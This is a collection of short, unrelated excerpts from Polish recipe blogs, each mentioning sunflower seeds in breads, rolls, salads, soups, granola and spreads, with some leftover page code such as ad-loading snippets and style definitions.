popękał za bardzo, warto uformować bochenek zwijając go jak roladę biszkoptową. Jeśli lubicie pieczywo z ziarnami, nic nie stoi na przeszkodzie, by dorzucić do ciasta drożdżowego trochę słonecznika, sezamu, siemienia czy innej mieszanki pestek. Ziarnami możecie też obsypać skórkę chleba - ja często posypuję go z wierzchu mieszanką ziaren i płatków owsianych. Łatwy przepis na pszenny chleb codzienny to świetna propozycja

jajko 200 g masła 100 g cukru pudru 1,5 łyżeczki proszku do pieczenia szczypta soli Dodatkowo 6-7 łyżek płynnego miodu po 5 łyżek: sezamu, pestek dyni, pestek słonecznika Ze wszystkich składników na ciasteczka zagnieść ciasto, rozwałkować, podsypując delikatnie mąką. Wałkować ciasto, podsypując je mąką i wycinać ciasteczka. Smarować je przy pomocy pędzelka płynnym miodem i posypywać mieszanką ziaren

past do codziennego menu. Na blogu znajdziecie wiele inspiracji i sami zobaczycie, że nie są to ani skomplikowane ani czasochłonne przepisy Spróbuj także: pasta z zielonego groszku i prażonego słonecznika, pasta sardynkowo-pomidorowa. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na Facebooku i Instagramie Tam częściej pojawiają się zdrowe pyszności Artykuł Pasta jajeczna pochodzi

zmięknie. Wlać wywar warzywny, dodać dynię i bataty pokrojone w kostkę. Dodać wszystkie pozostałe składniki i gotować na małym ogniu aż dynia i ziemniaki będą miękkie. Danie posypać prażonym słonecznikiem i orzeszkami. Najlepsze jest drugiego i każdego następnego dnia. Zrobiłam sobie jak byłam sama więc jadłam to 3 dni. Danie pycha

chrupiąca skórka, i pyszny środek. Przepis na pojemnik żaroodporny o średnicy 23cm SKŁADNIKI: 600g mąki pszennej typ 1050 100g mąki pszennej typ 405 14g drożdży instant 500g kefiru 100g słonecznika 50g płatków żytnich 2,5 łyżeczki soli 1 łyżka oleju (u mnie arachidowy, może być słonecznikowy) WYKONANIE: 1. Wszystkie składniki umieszczamy w misce, dokładnie wyrabiamy. 2. Wyrobione ciasto przykrywamy ściereczką

zupy Do przygotowania można użyć niedzielnego rosołu oraz warzyw z niego. Do podania polecam… kleks kwaśnej śmietany, chleb, bułeczki, pieczywo czosnkowe, groszek ptysiowy, grzanki, prażone pestki dyni lub słonecznika.     Pomysły na zupy kremy:           (adsbygoogle = window.adsbygoogle || []).push({}); Pomysły na śniadanie… Parówkowe serce w ramce Sałatka Caprese Pasta z paluszkami krabowymi Nocny chleb

też dań miesnych. Kształtem przypominają one większe prostokąty. W mojej wersji sgagliozze przypominają raczej frytki i tak właśnie proponuję je podawać Bardzo lubię je z wegańskim parmezanem ze słonecznika (tradycyjny parmezan pewnie będzie tutaj jeszcze lepszy), suszoną natką pietruszki i sosem czosnkowym Wy znajdźcie swoją ulubioną wersję i dajcie mi znać, jak najbardziej Wam smakują PS. Interesuje Cię kuchnia włoska

cukinią i jarmużem. PRZEPIS SAŁATKA COLESLAW Z CUKINIĄ Składniki na coleslaw z cukinią: 0,5 małej główki kapusty białej 0,5 malej cukinii kilka małych gałązek jarmużu garść pestek słonecznika 3 łyżki posiekanego szczypiorku sól himalajska 1 łyżeczka naturalnej przyprawy do sałatek 3 łyżki majonezu 1 łyżeczka musztardy 2 łyżki soku z cytryny Jak zrobić coleslaw z cukinią: Zaczynamy

sposób: wrzucam na suchą patelnię garść ulubionych płatków lub mieszaninę płatków - ja w dużym słoju mam wymieszane płatki owsiane, orkiszowe, jagody goi, siemię lniane, miechunkę czasami pestki dyni, słonecznika czy jakieś orzechy- podprażam około 1 minuty, dodaję łyżkę oleju kokosowego i łyżeczkę syropu daktylowego/miodu/klonowego, całość mieszam tak aby się nie przypaliło, kiedy całość się ze złoci granola jest gotowa. Dodaję

kurczaka + sałatka + mini bajgle. Lekko a pożywnie. 💪 Składniki  pierś z kurczaka ulubione przyprawy do marynaty mieszanka sałat pomidor ogórek zielony ulubione ziarna prażone (u nas dynia, Pini i słonecznik) ser pleśniowy zielony oliwa z oliwek sok z limonki przyprawa do sałatki mini bajgle z ziołami prowansalskimi Przygotowanie: Pierś kroimy na niewielkie kotleciki grubości ok 1- 1,5 cm. Przyprawiamy

oliwek marynowanych 2 garście winogron 2 garście pomidorków koktajlowych 16 plastrów szynki parmeńskiej Zielenina do wyboru (rukola, sałata, mix sałat) 1 garść orzechów (pistacje, włoskie, laskowe, mix) i ewentualnie słonecznik Sposób przygotowania: Włóż kurczaka, marchewkę, seler, tymianek, czosnek i sól do średniego rondla. Zalej 1 wody i umieść na średnim ogniu. Doprowadź do delikatnego gotowania na wolnym ogniu i pozwól

Sałatę wykładamy na półmisek, dodajemy owoce, pokrojonego w kostkę arbuza, cieniusieńko pokrojoną cebulkę i płatki migdałów. Całość zalewamy dressingiem : u mnie oliwa z oliwek, olej tłoczony na zimno ze słonecznika, sól, sok z cytryny i ulubiona mieszanka przypraw. Całość polewamy i gotowe

szczypta soli himalajskiej 1/2-1/3 szklanki (120 ml) brązowego cukru (lub ksylitolu albo erytrytolu) 1/2 szklanki (120 ml) suszonej żurawiny 1/2 szklanki (120 ml) ulubionej mieszanki orzechów np. pestek dyni, słonecznika, orzechów laskowych lub włoskich 100 dag miękkiego masła roślinnego 1/4 szklanki (60 ml) mleka roślinnego np. sojowego 1 łyżeczka ekstraktu z wanilii (opcjonalnie) 2 szklanki (480 ml) niesłodzonych płatków kukurydzianych

porcji po 90 g, ukulać bułki. Zostawić na 10 minut odpoczynku, po czym jeszcze raz uformować podłużne bułeczki zakładając brzegi do środka. Spryskać woda i obtoczyć w nasionach słonecznika. Zostawić do wyrośnięcia na ok. 60 minut. Pieczenie na blasze ok. 20 minut z parą temp. początkowa ok. 230°C. Na dwie bułki dałem po plasterku żółtego sera 3 minuty przed

Przepyszny chleb z ziarnami z dużym udziałem mąki gryczanej i dodatkowo z mąką żytnią. Bogaty w len złocisty, słonecznik i płatki owsiane. Bardzo fajny chleb, dla wszystkich tych, którzy lubią chleby na zakwasie z mnóstwem ziarenek. To taki rodzaj fit pieczywa trochę, bardzo zdrowe i idealne do wszystkiego. Chleb jest łatwy do przygotowania i polecam go każdemu miłośnikowi wypieków chleba

Bułeczki pszenne z siemieniem lnianym, słonecznikiem i żurawiną. Domowe bułeczki, to ten rodzaj pieczywa, który znika zazwyczaj za szybko ;-) Te bułeczki są przepyszne z kilku powodów przede wszystkim siemie lniane nadaje im super tekstury i smaku, żurawina dodaje zarówno słodkości, jak i kwaskowatości. Pięknie wyrastają, są ultra puchate! Bułeczki mają bardzo puszysty miąższ, idealne dla dzieciaków, jak i dla dorosłych

Składniki 150 g mąka żytnia pełnoziarnista 200 g mąka pszenna 40 ml oleju 150 ml zimnej wody sól 1 łyżeczka 5 sztuk suszonych pomidorów ( w oleju) 80 g ziarna ( słonecznik, dynia itp, do wyboru) Wszystkie składniki mieszamy ze sobą w misce. Ciasto wyjmujemy na stolnicę lub deskę i wyrabiamy, aby było elastyczne. Stolnicę posypujemy mąką i wałkujemy na dość cienki

miseczki i udekorować wyfiletowaną pomarańczą. Posypać uprażonym sezamem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Jęczmienianka z gigami i orzechami włoskimi → Owsianka czekoladowa z nektarynkami, borówkami i słonecznikiem → Kokosowo – pomarańczowy pudding z tapioki → Jaglanka z masłem orzechowym i karmelizowanym bananem → Ryż na mleku z wanilią Artykuł Owsianka z tahini i pomarańczami pochodzi z serwisu Oryginalny smak

soli 1 łyżeczka miodu 20 g świeżych drożdży 255 ml mleka 1 łyżka masła Dodatkowo : nasiona do posypania bułek – słonecznik, siemię, czarnuszka lub mak 1 małe jajko 🔪 Instrukcje Do miski miksera przesiać mąkę dodać sól, wymieszać. W innym naczyniu wymieszać letnie mleko i wodę z drożdżami oraz miodem, wlać

Wtedy nie trzeba robić rozczynu – wystarczy wymieszać składniki i odstawić ciasto do wyrośnięcia. Przygotowane i ułożone na blaszce bułeczki można posypać sezamem jasnym lub czarnym, pestkami dyni, słonecznikiem, a nawet kruszonką. PRZYGOTOWANIE: Przygotowuję rozczyn – w tym celu do miseczki kruszę świeże drożdże, dodaję 2 łyżki cukru, mąkę oraz 50 ml letniego mleka. Mieszam, odstawiam w ciepłe miejsce

około 2-3 minuty.   Zupę można podawać z… pieczywem, pieczywem czosnkowym, ptysiowym groszkiem, ugotowanym tortellini, makaronem lub ryżem, grzankami, mozzarellą, parmezanem, kozim serem, prażonymi płatkami migdałów, ziarnami słonecznika lub dyni.     (adsbygoogle = window.adsbygoogle || []).push({}); Dania z piekarnika… Klopsiki z piekarnika Gniazdka z mięsa mielonego Cukinia faszerowana mięsem Pasztet drobiowy z rosołu

nawet sami podrzucacie mi swoje pomysły na połączenia smakowe. Jeśli chcecie się zainspirować zajrzyjcie do poniższych przepisów: Kryzysowa tarta z dżemem Tarta z tuńczykiem Tarta z porem i słonecznikiem Tarta z ryba wędzoną Tarta ze szpinakiem Tarta z grzybami suszonymi Tarta z galaretkami Tarta z pokrzywą Tarta z pomidorami Tarta z krewetkami Tarta z sałatka jarzynową Tarta z kurkami PRZEPIS

samodzielny posiłek.  Przy okazji polecam Wam dwa moje stare przepisy na niebanalne, przepyszne sałatki z ziemniakami. Pierwsza to sałatka z pieczonych młodych ziemniaków, z boczkiem, fetą i prażonym słonecznikiem (LINK TUTAJ) Druga natomiast to sałatka z ziemniakami truflowymi, boczkiem, serem pleśniowym i pomidorkami koktajlowymi (LINK TUTAJ) . Obie rewelacyjne! Miłego dnia! SKŁADNIKI: 800 - 900 g malutkich młodych ziemniaków 2 czerwone

opakowanie Jogurt naturalny grecki 400g plus 2 łyżeczki cukru pudru (może być miód) 8 ciasteczek maślanych-herbatników po łyżce na każdy pucharek: orzechy włoskie orzechy laskowe żurawina suszona ziarno słonecznika Robimy! Galaretkę rozpuszczamy we wrzatku – według przepisu na opakowaniu. Studzimy. Jogurt naturalny mieszamy z cukrem pudrem. Do każdego pucharku wykładamy łyżkę stołową jogurtu i dosypujemy ziaren i kilka orzechów

wzory, smaki i kolory, z pięcioma rodzajami pesto połączone, kiełkami, kwiatami ozdobione. Mieliśmy rukolę, bazylię, zieloną pietruszkę, liście rzodkiewki, pomidory suszone do wykorzystania, przyprawy Appetita do doprawiania, pestki dyni, słonecznika, orzechy pini, włoskie, laskowe, kilka innych składników, trochę wyobraźni, smaków i wyjątkowe dania już po chwili były gotowe. Na koniec niespodzianka deserowa, słodka, chrupiąca, mocno owocowa. Każdy mógł wg własnych

szpinakiem i papryką w wersji wege – choć nazwa wskazuje na typową kiełbasę, to ten produkt przypomina ją wyłącznie w wyglądzie. W ich składzie znajdziemy m.in.: boczniaki, groch, nasiona słonecznika, szpinak i szczyptę czerwonej papryki z dodatkiem naturalnych suszonych przypraw, cebulki, pomidorów, czosnku i mielonego czarnego pieprzu. Moim gościom tak bardzo posmakowało, że zapakowałam im 2 paczki kiełbasek na drogę

wilgotne po prostu pyszne. Niezwykle proste w przygotowaniu ciasto, ciasto, które pięknie formuje się i szybko wyrasta. Wierzch bułek możecie posypać ulubionymi nasionkami, mogą to być pestki dyni nasionka słonecznika, sezamu lub mak panuje tutaj pełna dowolność. Bułki pasują do wszelkiego rodzaju dodatków, słodkich i słonych, a i bez nich smakują wyśmienicie, polecam! Print Bułki pszenne .wprm-recipe-rating .wprm-rating-star.wprm

łyżka miodu 1 łyżka masła 300 ml wody 1 łyżeczka soli 10 g suchych drożdży lub 20 g świeżych Dodatkowo na wierzch bułek 1 średnie jajko + łyżka mleka ziarno słonecznika do posypania siemię lniane do posypania ziarno sezamu lub inne ulubione nasiona do posypania Instructions Jeśli używacie świeżych drożdży należy zrobić wcześniej rozczyn. Produkcja bułeczek jest niezwykle prosta, wystarczy wymieszać

płatków owsianych błyskawicznych 300 g płatków owsianych górskich 100 g orzechów laskowych 60 g orzechów włoskich 60 g kandyzowanej skórki pomarańczy 160 g rodzynek 90 g nasion słonecznika 90 g sezamu 50 g siemienia lnianego 1 łyżka cynamonu 1 łyżka mielonego imbiru Instructions Do dużej miski wsypać wszystkie sypkie składniki granoli. W naczyniu wymieszać wodę, miód i olej. Wlać

mocno chrupiące z delikatną nutką kokosa są wprost bajeczne! Jeśli nie przepadacie za smakiem kokosa, pomińcie go lub zamieńcie na to, co lubicie. Zamiast wiórków kokosowych można dodać ziarna słonecznika, rodzynki lub czekoladę. Jeśli lubicie nietypowe smaki, spróbujcie przygotować kilka ciastek z grubą solą morską, są bardzo ciekawe w smaku. Przygotowanie ciastek jest proste i szybkie, choć nakładanie ciasta

świeżych drożdży lub 4 g suszonych 140 g mąki żytniej typ 2000 70 g pszennej pełnoziarnistej 240 g mąki pszennej typ 650 30 g siemienia lnianego 40 g słonecznika 1 łyżka czarnuszki - opcjonalnie 20 g suszonej jagody goji 2 łyżki oliwy z oliwek Instructions W misce robota kuchennego umieścić wszystkie składniki, zaczynając od wody. Ciasto mieszamy przez 3 minuty

mąki. Course Pieczywo Cuisine International Keyword orzechy Prep Time 10 minutes Cook Time 1 hour Total Time 1 hour 10 minutes Servings 1 Author Anna Ingredients 1 szklanka nasion słonecznika 1 1/2 szklanki płatków owsianych 1/2 szklanki orzechów laskowych 11 łyżek siemienia lnianego mielonego 3/4 szklanki siemienia lnianego całego 320 ml letniej wody 1 łyżka miodu lub syropu z agawy

dodatkiem do zupy są lane kluseczki, ale z makaronem lub świeżymi chrupiącymi grzankami zupa będzie również bardzo smaczna. Można zabielić zupę słodką śmietaną lub podać z odrobiną prażonych nasion słonecznika. Polecam i smacznego! Print Zupa pomidorowa .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Course Zupy Cuisine Polska Keyword pomidory Prep Time 10 minutes Cook Time 30 minutes

pieczeniem posypuję całymi nasionkami lnu, który po upieczeniu robi się chrupiący. Osoby, które nie lubią lnu, mogą bułki upiec bez jego dodatku lub zamienić na ziarenka. Świetnie sprawdzą się słonecznik , dyna albo sezam przy takiej zamianie bułki również będą wyborne 🙂 Zapraszam i życzę smacznego! Print Bułki z siemieniem .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Zdrowe

soku z cytryny 3 łyżki płynnego oleju kokosowego 1 szklanka borówek Instructions Przygotowanie spodu Do malaksera włożyć orzechy i daktyle rozdrobnić, orzechy powinny być pokrojone na kawałeczki wielkość nasion słonecznika lub trochę mniejsze, na koniec dodać olej i jeszcze raz wymieszać Przygotować pasek folii spożywczej, która włożymy na spód formy, na środek wyłożyć przygotowaną masę uformowaną wcześniej w kulę, kulkę

odstawić w ciepłe miejsce na około 35-45 minut do wyrośnięcia. Piekarnik rozgrzać do temperatury 220 st C. Bułki przed wstawieniem do piekarnika można posypać mąką lub ziarenkami słonecznika lub siemienia lnianego. Po wstawieniu bułek do piekarnika spryskać kilka razy jego wnętrze, bułki pieczemy przez około 18 minut. Po upieczeniu wyjąć bułki, pozostawić na kratce do wystudzenia. Smacznego! Notes

cieniutkie słupki wymieszane z pyszną ciecierzycą i nasionkami dyni, a wszystko przyprawione prostym sosem z oliwy i soku z pomarańczy. Do sałatki można dodać również prażone orzechy i nasiona słonecznika. Bardzo lubię do tego typu sałatki podać kawałek grillowanej bagietki polanej dobrą aromatyczną oliwą, spróbujcie może i Wam przypadnie do gustu 🙂 Print Sałatka z ciecierzycą .wprm-recipe-rating .wprm-rating-star.wprm-rating

jesteście na którejś z tych diet, to oczywiście możecie użyć zamiast płatków jaglanych na przykład tartą bułkę do zagęszczenia masy i obtoczenia burgerów. Orzechy laskowe można zastąpić nasionami słonecznika lub orzechami nerkowca. Możecie również swobodnie dobierać przyprawy, którymi doprawicie swoje kotleciki , bawicie się smakami i dodatkami. Smacznego ! 🍔 Wariacje burgerowe Burgery z buraka Fish burger Burger z fasoli Wegetariański burger 📖 Przepis

fasola i kukurydza. W daniach z kuchni meksykańskiej w wege wydaniu to już przejedzony standard. Warto poeksperymentować z innymi składnikami! Świetnymi zastępnikami mięsa w tym przypadku będą… marchewka oraz słonecznik i dynia w ziarnach! Jakie wybrać placki? Ja przygotowałem te bezmięsne tacos w plackach gorditas z prozaicznej przyczyny… Nie dość, że tylko takie były w sklepie, to w dodatku było

super produkty w super cenach. Wielbiciele pieczenia chleba ale nie tylko znajdą coś ekstra. A teraz jeśli jesteście ciekawi co tam wyczarowałam to zapraszam do lektury. Chleb żytni ze słonecznikiem

sałat Świeża bazylia 1 opakowanie mini mozzarelli Spora garść pomidorków u mnie rzymskie Pół ogórka zielonego 1 nie duża cebula czerwona 3 łyżki pestek u mnie mix dynia, słonecznik oraz pinia Oliwki czarne Oliwa z oliwek lub jeśli nie mamy olej rzepakowy  Opcjonalnie: pieczywo Przygotowanie: Zanim zacznę układać sałatkę na talerzach przygotowuję pomidorki. Każdy rozkrawam na połówki skrapiam delikatnie

polecam prosty krem z kalarepy. Zupa krem jest delikatna, łagodna w smaku. Podałam ze świeżym koperkiem i to w zasadzie tyle. Można również dorzucić łyżkę śmietany i posypać prażonym słonecznikiem. Ale to zostawię na kolejny raz. Jeśli nie lubisz spędzać zbyt dużo ... Czytaj dalej Prosty krem z kalarepy Artykuł Prosty krem z kalarepy pochodzi z serwisu Pink Envelope

Ciasteczka APPLE BISCO BIO to bezglutenowe ciasteczka z owsem i jabłkiem produkowane w całości z ekologicznych zbóż i owoców. Zawierają mąkę owsianą, płatki owsiane, siemię lniane i nasiona słonecznika. Doskonałe źródło błonnika! Świetna przekąska w ciągu dnia! A ciacho z ich dodatkiem? Przepyszne! Ciasto jest lekkie, orzeźwiające i niesamowicie puszyste. U mnie zniknęło zaraz po zrobieniu zdjęć – jeszcze ciepłe! Koniecznie

kcal) Prosciutto 3 plasterki Kawałek arbuza Kilka pomidorków koktajlowych Komosa (1/4 szklanki) – opcjonalnie (możesz ją też zastąpić kaszą jaglaną) Garść rukoli lub ziół Porcja fety (plaster) Nasiona słonecznika (łyżka) Tę kolację przygotujesz w mniej niż 10 minut. Połączenie arbuz, prosciutto i feta jest genialne, ale jeśli chcesz żeby danie było mniej kaloryczne – zrezygnuj z fety. Przepłucz komosę

składnik domowej musztardy i do każdej pasty kanapkowej. Jest źródłem kwasów omega - 3 i witamin E i K. Olej  słonecznikowy Kujawski  tłoczony na zimno - wytwarzany z nasion słonecznika, podobnie jak inne oleje tłoczone na zimno tłoczy się go w niskiej temp. do 50 °C dzięki czemu zachowuje swój charakterystyczny smak i aromat. Olej ten jest źródłem naturalnych składników

wadze 500 lub 750 g. W obiegu są dostępne formy do pieczenia chleba w rozmaitych kształtach oraz rozmiarach. Ciasto przekładamy do posmarowanej tłuszczem formy. Spód formy można posypać pestkami słonecznika, ziarenkami sezamu lub płatkami owsianymi. Dzięki temu nasz bochenek będzie miał atrakcyjną oraz pyszną skórkę. Po umieszczeniu ciasta w formie należy pozostawić je jeszcze na jakiś czas w ciepłym miejscu

sałatki: 2-3 garści szpinaku, mieszanki sałat 10 średnich truskawek pokrojonych na ćwiartki  10 małych kulek mozzarelli  1/2 dużego awokado pokrojonego w kostkę 4 łyżki uprażonych pestek słonecznika 1/2 czerwonej cebuli pokrojonej w pióra Dressing do sałatki 8 łyżek oliwy  2 łyżeczki octu winnego 1 łyżka soku z cytryny 1 łyżka miodu 1 łyżka musztardy 2 ząbki

blaszce wyłożonej papierem do pieczenia. Gotowe bułeczki ponownie pozostawiamy do wyrośnięcia na ok 15 minut. Po tym czasie smarujemy je rozkłóconym jajkiem i posypujemy makiem, dynią, sezamem lub słonecznikiem. Pieczemy ok 20-25 minut w 180 st. C. Po upieczeniu studzimy na kratce

upiec, udusić lub wykorzystać surowe. Następnie warzywa i inne produkty miksujemy, doprawiamy ziołami i innymi przyprawami. Gdy są za rzadkie, możemy je zagęścić za pomocą np. zmielonych pestek dyni, słonecznika, siemienia lnianego, różnych płatków (owsiane, gryczane, zbożowe) czy kasz (np. jaglanej). Można też kupić gotowe pasty (np. hummus, pasty w warzyw grillowanych), to alternatywa dla osób zapracowanych. Najlepsze jednak

Poezja :) Potrzebujemy: Zaczyn: 2 łyżki zakwasu żytniego 75 g mąki pszennej 90 g letniej wody Ciasto na chleb: Zaczyn 220 g mąki pszennej 200 g mąki żytniej 60 g słonecznika 60 g pestek dyni 40 g siemienia lnianego 250 ml letniej wody 1 łyżeczka soli Zakwas łączymy z wodą i mąką. Mieszamy wszystko drewnianą lub plastikową łyżką. Przykrywamy folią spożywczą

użyłam dużych świdrów 2 łyżki masła 2 łyżki oliwy z oliwek 2 ząbki czosnku sól i pieprz do smaku parmezan do podania Na posypkę: łyżka pestek dyni łyżka nasion słonecznika łyżka sezamu szczypta soli   Wstawiamy wodę na makaron, dobrze solimy. Gotujemy makaron, aż będzie al dente. Przed odcedzeniem odlewamy około pół kubka wody spod makaronu. Makaron odcedzamy i przekładamy

szczypiorkiem i koperek drobno posiekać. Musztardę wymieszać z majonezem i dodać do pokrojonych składników. Wszystko dokładnie wymieszać i przyprawić do smaku pieprzem i solą. Zobacz również: pasta ze słonecznika z suszonymi pomidorami

powinien pamiętać o tym, by włączyć go do swego menu. A gdzie w składzie znajdziemy czosnek? Makaron z sosem śmietanowo szpinakowym Sałatka z brokułem fetą i prażonym słonecznikiem Chrupiące placki ziemniaczane z sosem pieczarkowym Wytrawna tarta ze szpinakiem i serem feta Makaron ze szpinakiem i słonym serem feta Chrupiąca bruschetta z pomidorami malinowymi Ramen, oryginalny przepis na tradycyjną japońską zupę

partiami w młynku do mielenia kawy. Po zmieleniu mąkę przesiej przez sitko. W taki sposób możesz przygotować mąkę nie tylko z ciecierzycy ale i z soczewicy, grochu, fasoli, nasion słonecznika, pestek dyni czy np. orzechów. TIP 3 Możesz mąkę z ciecierzycy zamienić na inną mąkę bezglutenową np. ryżową, gryczaną czy jaglaną. Namawiam Ciebie jednak do przygotowania naleśników czy placuszków właśnie

stron. Podawaj z ulubionymi dodatkami. Ja podsmażyłam na patelni pieczarki z solą na odrobinie oliwy z oliwek. Przygotowałam do nich sałatkę z mixu sałat, pomidorków koktajlowych i ziaren słonecznika skropioną oliwą z oliwek. Smacznego! Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband

ziemniaczki, pęczak, kasza gryczana, sorgo  -prowizoryczna, szybka sałatka: spora garść roszponki(lub innej zieleniny), kilka pomidorków koktajlowych, pół awokado, kilka kosteczek sera feta (lub innego ulubionego), prażone pestki słonecznika, sok z połowy cytryny, kilka łyżek oleju słonecznikowego, szczypta soli i czarnuszki (opcjonalnie) Przygotowanie:  Ryż gotujemy według przepisu na opakowaniu (będzie to około pół szklanki surowego ryżu). Piekarnik nastawiamy

naprawdę trzy składniki: - zielenina ( dowolna to co masz: natka pietruszki, koperek, bazylia, oregano, tymianek, lubczyk, liście marchewki, liście rzodkiewki, botwinka, zioła jadalne) - coś białkowego ( orzechy np. pinii, słonecznika, dyni, laskowe, włoskie lub np. ser parmezan czy grana padano - kocham te z dodatkiem odrobiny sera!) - dobre zdrowe tłuszcze ( oliwa z oliwek, oleje tłoczone na zimno tj. z rzepaku, lnu, lnianki

formujemy kotlety. Smażymy z dwóch stron. Podajemy w domowych bułkach z ulubionymi dodatkami. Ja polecam - ogórki konserwowe, cebulę, sałatkę, pomidory i sos "hamburgerowy" - u nas na bazie "majonezu" ze słonecznika

miksujemy na gładki krem i przyprawiamy do smaku. Podajemy z posiekaną natką pietruszki lub z lubczykiem oraz z czosnkową bagietką i kwaśną śmietaną. Dodatkowo zupę możemy posypać prażonymi pestkami słonecznika

popularna jest chałwa produkowana z nasion sezamu z dodatkiem cukru pochodząca z kuchni bliskowschodniej , a dokładniej kuchni tureckiej a także irańskiej. Istnieją jednak również chałwy z nasion maku, słonecznika czy orzechów popularne w kuchni rosyjskiej i ukraińskiej. Z kolei w południowej Azji spożywa się chałwę zawierającą kaszę manną, a w kuchni indyjskiej produkowana jest chałwa tartej marchwi gotowanej

sera typu philadelphia * (ponad 20 g zawartości tłuszczu) pół łyżeczki soli 1,5 łyżeczki proszku do pieczenia (6 g) 2 jajka opcjonalnie nasiona i pestki jak siemię lniane , pestki słonecznika , pestki dyni Czas przygotowania:  15 min Czas pieczenia: 40 min Ilość:  5 bułek Przygotowanie Do miski dodajemy wszystkie składniki ( łuski babki jajowatej , ser , sól , proszek do pieczenia , jajka

świeżych drożdży lub 7 g drożdży instant 1 płaska łyżeczka cukru 4 łyżki płatków owsianych 1,5 płaskiej łyżeczki soli 2 łyżki oleju np. rzepakowego garść ziaren słonecznika (opcjonalnie) lub innych, które lubisz Przygotowanie: W misce wymieszaj mąkę z solą. Do dużej miski rozkrusz świeże drożdże, dodaj cukier, płatki owsiane i lekko ciepłą wodę. Wymieszaj łyżką, do rozpuszczenia się drożdży

czosnku - sól, pieprz, gałka muszkatołowa do smaku Warzywa  obieramy , dzielimy na mniejsze części i gotujemy do miękkości. Przeciskamy przez praskę. Dodajemy przeciśnięty przez praskę czosnek, sól, pieprz, migdały, słonecznik, pocięty szpinak, jajko i mąkę jaglaną, Formujemy kotleciki i smażymy na rozgrzanym tłuszczu

zrobić kanapki. Staram się co i rusz wymyślić coś nowego, co zachęci moje dziecię , zwłaszcza do śniadań. Tym razem prezentuję Wam pyszną  i bardzo zdrową pastę z ziaren słonecznika.  Warto tu wspomnieć, że pestki te są bardzo bogatym źródłem fitosteroli ( obniżają cholesterol)  i witaminy E  ( witamina zdrowia i młodości). Polecam więc pastę nie tylko dla dzieci

jogurtu (szklanka) 125 ml mleka (1/2 szklanki) 2 łyżki oleju rzepakowego 1 łyżeczka sody 1 łyżeczka soli opcjonalnie siemię lniane lub pestki dyni, słonecznika Mąkę mieszamy z sodą i solą. Jogurt mieszamy z olejem i mlekiem. Następnie łączymy obie masy i wyrabiamy do czasu, aż masa będzie gładka. Ciasto lekko klei się do rąk. Piekarnik rozgrzewamy do temp

jednak inne. Sprawdźcie, jaki jest ten :) Składniki: 5 łyżek płatków owsianych 2 szklanki ciepłej wody (moja szklanka ma 230 ml.) 15 g. drożdży 1/2 łyżeczki miodu 2 łyżki słonecznika 1 łyżka siemienia lnianego 1 łyżka pestek dyni 400 g. mąki pszennej (miałam typ 650) 100 g. mąki żytniej, lub orkiszowej Wykonanie: Do miski wsypać płatki, wlać ciepłą wodę, dodać miód

żytni i orkiszowy po połowie) - 105g osuszonych owoców (u mnie świeże daktyle bez pestek, gruszka, morele i żurawina) - 20g orzechów (u mnie pekan i migdały) - 10g siemię lniane - 10g słonecznik - 5g sezam - 260g (ml) filtrowanej lub źródlanej wody Dodatkowo: - otręby do obsypania formy i na wierzch - ziarna do posypania góry chleba (dałam siemię lniane i sezam) W misie umieszczamy wszystkie

miękkie w środku. Obłędnie pachnące! Bułeczki z czosnaczkiem: Potrzebujesz: Pasta z czosnaczku: 1 szklanka liści i kwiatów czosnaczku pospolitego 1 ząbek czosnku 1/3 łyżeczki soli 2 łyżeczki nasion słonecznika szczypta pieprzu 1/2 szklanki dobrej jakości oleju rzepakowego Bułeczki: 500g mąki  20g świeżych drożdży 3/4 szklanki letniego mleka 2 jajka 20g masła\ 1 łyżka miodu 1 i 3/4 łyżeczki cukru

łatwiejszego i smaczniejszego. Danie Dieta, Pieczywo Kuchnia Duńska Czas przygotowania 2 hours 30 minutes Czas gotowania 1 hour Autor smakowitehistorie.com Składniki Suche składniki: 3 szklanki płatków owsianych ½ szklanki ziaren słonecznika ½ szklanki pestek z dyni ¼ szklanki suszonych śliwek lub jagód goji ¾ szklanki siemienia lnianego 5 łyżek zmielonego siemienia lnianego 5 łyżek babki płesznik ½ szklanki orzechów laskowych lub migdałów sól i pieprz

Takie pyszne, takie proste i do tego całkiem zdrowe. Podstawą są płatki owsiane, masło orzechowe i jajka, pozostałe składniki możecie komponować tak jak lubicie, np dziś rodzynki i słonecznik, a jutro suszona żurawina i pestki dyni. Za każdym razem pysznie, za każdym razem inaczej. Nie wymagają pracy, ot wrzucić składniki, wymieszać, upiec i gotowe.  Składniki (na ok 30 ciasteczek

drożdży 1 łyżeczka miodu 300 g wody 1 i 1/2 łyżeczki soli 50 g łącznie dowolnej mieszanki ziaren uprzednio uprażonych na suchej patelni. U mnie: sezam czarny, pestki dyni, słonecznik, sezam. Wykonanie: W misce mieszamy drożdże z miodem i letnią wodą. Dodajemy pozostałe składniki i wyrabiamy elastyczne ciasto. Następnie przykrywamy ściereczką i odstawiamy w ciepłe miejsce

camemberta układamy też między avocado. Kukurydzą posypujemy tuńczyka. Oliwki kroimy na plasterki i paprykę i dowolnie układamy na półmisku, zdobimy. Całość polewamy naszym dressingiem. ps. Można posypać uprażonymi pestkami słonecznika zamiast kukurydzy można użyć groszku, zamiast camemberta można użyć brie. Gwarantuję, iż tak podany półmisek zaspokoi i głód i kubki smakowe, a także oko. Smacznego!   Share 0 Tweet

przekąska w ciągu dnia lub sałatka do obiadu, podana np. do pieczonych ziemniaków i białego pieczonego/smażonego mięsa. Do sałatki można dodać podprażone na suchej patelni pestki dyni lub słonecznika oraz kilka posiekanych oliwek. Rukola bardzo dobrze komponuje się także z fetą, suszonymi pomidorami, awokado, jajkiem na twardo i kukurydzą. Sałatka z rukoli SKŁADNIKI: 100 g rukoli 1 upieczony

doprawić solą i pieprzem. W razie potrzeby dolać odrobinę zalewy z fasoli. Schłodzić. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Pasta z ciecierzycy, pieczonej dyni i słonecznika → Pasta z czerwonej fasoli z boczkiem → Hummus → Tapenada z czarnych oliwek → Pasta z bobu z koperkiem Artykuł Smalec z fasoli pochodzi z serwisu Oryginalny smak

